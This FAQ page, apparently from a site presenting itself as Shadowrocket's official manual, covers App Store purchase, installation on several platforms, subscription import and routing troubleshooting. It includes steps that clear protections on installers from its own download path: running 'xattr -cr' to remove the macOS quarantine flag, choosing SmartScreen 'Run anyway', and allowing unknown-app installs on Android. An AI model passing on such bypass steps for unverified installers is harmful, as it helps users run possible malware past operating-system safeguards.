Official Manual · Browse by Issue

Shadowrocket FAQ

For iPhone, iPad, Mac, Windows, Android, and Linux. Check your device and the steps that led to the issue, then open the relevant answer. Change one setting at a time while troubleshooting.

The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free. Get installers from the download page.

Before purchase and after switching devices

Verify and purchase

Verify the app listing and store account first, then check purchase history, device compatibility, and how to restore the download.

How can I verify the genuine Shadowrocket listing on the App Store?

Check the app name, Shadowrocket, then verify the developer, Shadow Launch Technology Limited, the official icon, and the product page app ID, 932747118. The official icon is a rocket outlined in blue and purple on a white background; do not rely on similar names in search results alone. The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free; the amount shown on the store page is authoritative. If the developer or app ID does not match, do not purchase; return to the download page and verify the listing.

Shadowrocket doesn’t appear in App Store search. What should I check?

Check the country or region of the Apple Account used for Media & Purchases—not just your device language, location, or system region. The app is currently unavailable on the mainland China App Store. If the product page still won’t open, check the store region and device compatibility. To change regions, follow the official steps under Settings → Apple Account → Media & Purchases → View Account → Country/Region. Resolve any balance, subscription, or payment-method requirements first; repeatedly changing your device language won’t refresh the store.

Do I have to buy Shadowrocket again after getting a new iPhone or reinstalling it?

Usually not. On your new device, sign in to the App Store with the Apple Account used for the original purchase, then find Shadowrocket under Apps or Purchased and download it again. The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free. If the store still shows a price, check your purchase history, current store account, and region before paying again. Restoring the app does not restore subscriptions or configurations; recover those from your own backup or original records.

Can I install Shadowrocket on iPad, and where can I check the system requirements?

Yes. Shadowrocket is available for iPhone and iPad; check the App Store listing for the system requirements. Review compatibility on the product page, then download using the account with the purchase record. The iPhone and iPad app costs $2.99 as a one-time App Store purchase, and the same account’s purchase can be used on both devices. The Mac, Windows, Android, and Linux versions are free. After installing on iPad, you still need to import your own subscription or server details; a purchase record does not provide server configuration for connecting.

Is Family Sharing available, and does the purchase include a proxy service?

To check whether Family Sharing is supported, review the current App Store product page and confirm each family member’s purchase-sharing settings, store region, and purchase history. What appears on the page and account is authoritative. The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free. Buying the client once does not include a proxy service. This site does not provide, sell, or recommend servers or subscriptions; use your own subscription or server details to connect.

Continue to the App Store guide ›

By device

Install and first launch

Check the installer source and system architecture first, then grant any permissions requested by your operating system.

Can I use Shadowrocket on a computer or Android, and where do I get it?

Yes. The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free. Mac downloads are available for both Apple silicon and Intel. For Windows, Android, and Linux, choose a format listed on the download page. All installers are available from this site at /dl/shadowrocket/. Before opening an installer for the first time, read the installation guidance on the download page: Windows may show a SmartScreen warning; on Mac, you may need to allow the app under Privacy & Security; on Android, allow the browser used for the download to install unknown apps.

Which Mac version should I choose: Apple silicon or Intel?

Open the Apple menu in the top-left corner and choose About This Mac. If it lists a Chip with Apple silicon, choose the Apple silicon version. If it lists an Intel processor, choose the Intel version. Don’t rely on the model year alone. After downloading, move the app to Applications. If macOS says the developer cannot be verified on first launch, confirm the installer came from this site, then check for Open Anyway under System Settings → Privacy & Security. If the app is reported as damaged, follow the download page instructions to run xattr -cr /Applications/Shadowrocket.app on the app, then try again.

Windows warns that the app may be risky, or Android blocks installation. What should I do?

First, make sure you downloaded the file from this site and that its address is under /dl/shadowrocket/. If Windows shows a SmartScreen warning, verify the source, then select More info → Run anyway. If that option is unavailable or your device is managed by an organization, follow your administrator’s policy. On Android, open Allow installation of unknown apps in system settings and grant permission only to the browser or file manager used for the download. You can turn it off after installation. If downloads don’t work in WeChat, open this site’s download page in your system browser instead of repeatedly tapping the same download button.

Which Linux package should I download, and what if the app won’t run?

Choose a package based on your distribution: Debian- and Ubuntu-based systems usually use deb, while distributions using RPM packages use rpm. AppImage can run as a standalone file, but you still need to check your system architecture and runtime dependencies. Download packages from this site’s download page. Before running an AppImage for the first time, grant it execute permission with chmod +x followed by the actual file path. Install deb and rpm packages with your system package manager where possible. If double-clicking does nothing, launch the file from a terminal and inspect the error rather than disabling system-wide security.

The connection switch won’t turn on, or the interface is in English. What should I do?

On the first connection attempt, iPhone and iPad users must approve the system prompt to add a VPN configuration and complete device verification as prompted. If you declined, return to the app and try again. If the switch still won’t turn on, check the system VPN settings for conflicting configurations, see whether the device is managed, then restart the app and try again. Don’t reset all network settings as a first step. An English interface does not mean the installation is faulty. Use the manual to identify labels such as Home, Add Server, Global Routing, Config, and Settings; the button names and locations may vary by app version.

View installation guidance by platform ›

Use your existing details

Import subscriptions and servers

Know the difference between a subscription link and individual server details, then check the import, update, and backup.

How do I import an existing subscription, and how is that different from adding a server manually?

Get the complete subscription link from your own provider. In Home, open the add menu, choose Subscribe, and enter the link. If you have details for just one server, choose Add Server and enter its address, port, and authentication fields for the relevant protocol. These are not interchangeable: a subscription retrieves a group of entries, while a single server link or QR code usually contains details for one server. After saving, check that the list appears, then select an entry to test it. Don’t add the same information repeatedly before confirming the import, or you may end up with duplicate groups.

What should I check if a subscription import fails or the list is empty?

Check that the link is complete, contains no extra spaces or line breaks, and is a subscription URL rather than a webpage address. Make sure your subscription is still valid. Don’t edit or remove query parameters, which may contain access credentials. Next, confirm your current network can reach the subscription URL. If needed, switch between Wi-Fi and cellular data, then retry once. If the connection is already failing, disconnect the client before testing the subscription update. If the list is still empty, ask your own provider to check the response format and account status. Share only redacted error details; never post the full subscription link.

How do I update a subscription manually, and what should I know about automatic updates?

In Home, find the subscription group you want to update, open its action menu, and run the update. The exact menu location depends on the current interface. Afterward, check for error messages, changes to the entries, and which server is selected; don’t assume the update worked just because you tapped the button. If your version supports updating on app launch, enable it in the subscription options or Settings. This feature only requests the original URL again; it cannot fix expired credentials. If a manual update fails, check the network and subscription itself rather than increasing the update frequency.

What if a QR code won’t scan, or the imported protocol settings look wrong?

Before using Scan QR Code, make sure the QR code is complete, clear, and not cropped at the edges, and allow camera access if prompted. It must contain server or subscription data that the app can recognize; a QR code for an ordinary webpage is not a server configuration. After importing, check the protocol, port, authentication details, transport, and TLS fields. Enter parameters for VMess, VLESS, Trojan, and other protocols exactly as provided in your own server details. Don’t disable TLS verification just to make a test pass. If scanning continues to fail, try the original link or enter each field in Add Server.

Will my subscriptions and configuration come back automatically after changing devices or updating the app?

Purchase history and configuration data are separate. Restoring the app does not restore subscriptions, servers, or rules. Before changing devices, use the app’s current configuration export or backup feature and keep your original subscription links somewhere safe. Exported data may contain authentication details, so store it only somewhere you trust. After restoring, check your selected server, Config contents, and Global Routing, then test the connection. It’s also a good idea to back up before updating the app. A subscription update may replace group entries, so don’t rely on manual notes or edits as a long-term backup.

Follow the steps to import and connect for the first time ›

Narrow it down by symptom

Routing rules and troubleshooting

Connection status, server reachability, and rule matching are separate steps; test each one independently.

How do I choose between Config, Proxy, and Direct in Global Routing?

Config routes traffic according to the rules in the current configuration; check this mode first for everyday rule-based routing. Proxy sends traffic handled by the app through the current proxy policy, making it useful for a brief comparison test. Direct connects handled traffic directly, which can help determine whether the proxy path is causing a problem. Switching modes won’t fix server settings or add missing rules. Change only one option at a time, record the result, then restore the original setting so a temporary troubleshooting mode doesn’t become your permanent configuration by accident.

The app says it’s connected, but webpages won’t load. What should I check, and in what order?

Disconnect first and confirm the device can access the internet without the app. Reconnect and make sure a valid server is selected, not a blank or expired entry. Then compare different websites, networks, and another server you already have to determine whether the problem affects one destination or all requests. Use Connectivity Test as a diagnostic aid, but remember that its result does not guarantee every app or website will work. If Proxy works but Config doesn’t, focus on rules and DNS. If all modes fail, check the network, server settings, and system VPN configuration one at a time.

Rule-based routing isn’t working as expected. What should I check?

Confirm Global Routing is set to Config and check the configuration that is actually enabled, not just a file you downloaded. Rules are usually matched in order, so check whether a broad rule near the top is matching first and whether the final policy in FINAL is what you expect. DOMAIN-SUFFIX, GEOIP, and IP-CIDR match different kinds of data; a website’s displayed region alone doesn’t tell you which rule matched. If the app provides connection logs, check the actual domain, destination address, and policy. Back up the original configuration before making changes, change one thing at a time, and test with a new request.

Battery use increases after enabling the app. How should I configure On Demand?

Compare similar usage periods in your system’s battery usage details. Separate foreground downloads, sustained traffic, background reconnects, and the client’s own activity; a VPN icon in the status bar alone doesn’t indicate battery use. An unstable network, frequent speed tests, verbose logs, and overly frequent subscription updates can all increase activity. On Demand triggers connections based on conditions; it doesn’t guarantee lower power use. Check its triggers before enabling it. If the app reconnects immediately after disconnecting, see whether On Demand is responsible. For troubleshooting, temporarily turn it off, reduce test frequency, then re-enable settings one at a time and monitor the results.

What information should I share with support when reporting a problem, and what should I hide?

Share your device platform and system details, the steps that triggered the issue, the selected Global Routing mode, any error message, and what happened after switching networks or servers. Specify whether the issue is a failed subscription update, a connection switch that won’t turn on, or a website that fails after connecting. Before sharing screenshots or logs, redact full subscription URLs, server authentication fields, UUIDs, passwords, personal addresses, and account details. Keep the exact error text and relevant timeline where possible; you don’t need to send your entire configuration. This helps narrow down the issue without exposing reusable credentials to people who don’t need them.

View proxy modes and routing rules ›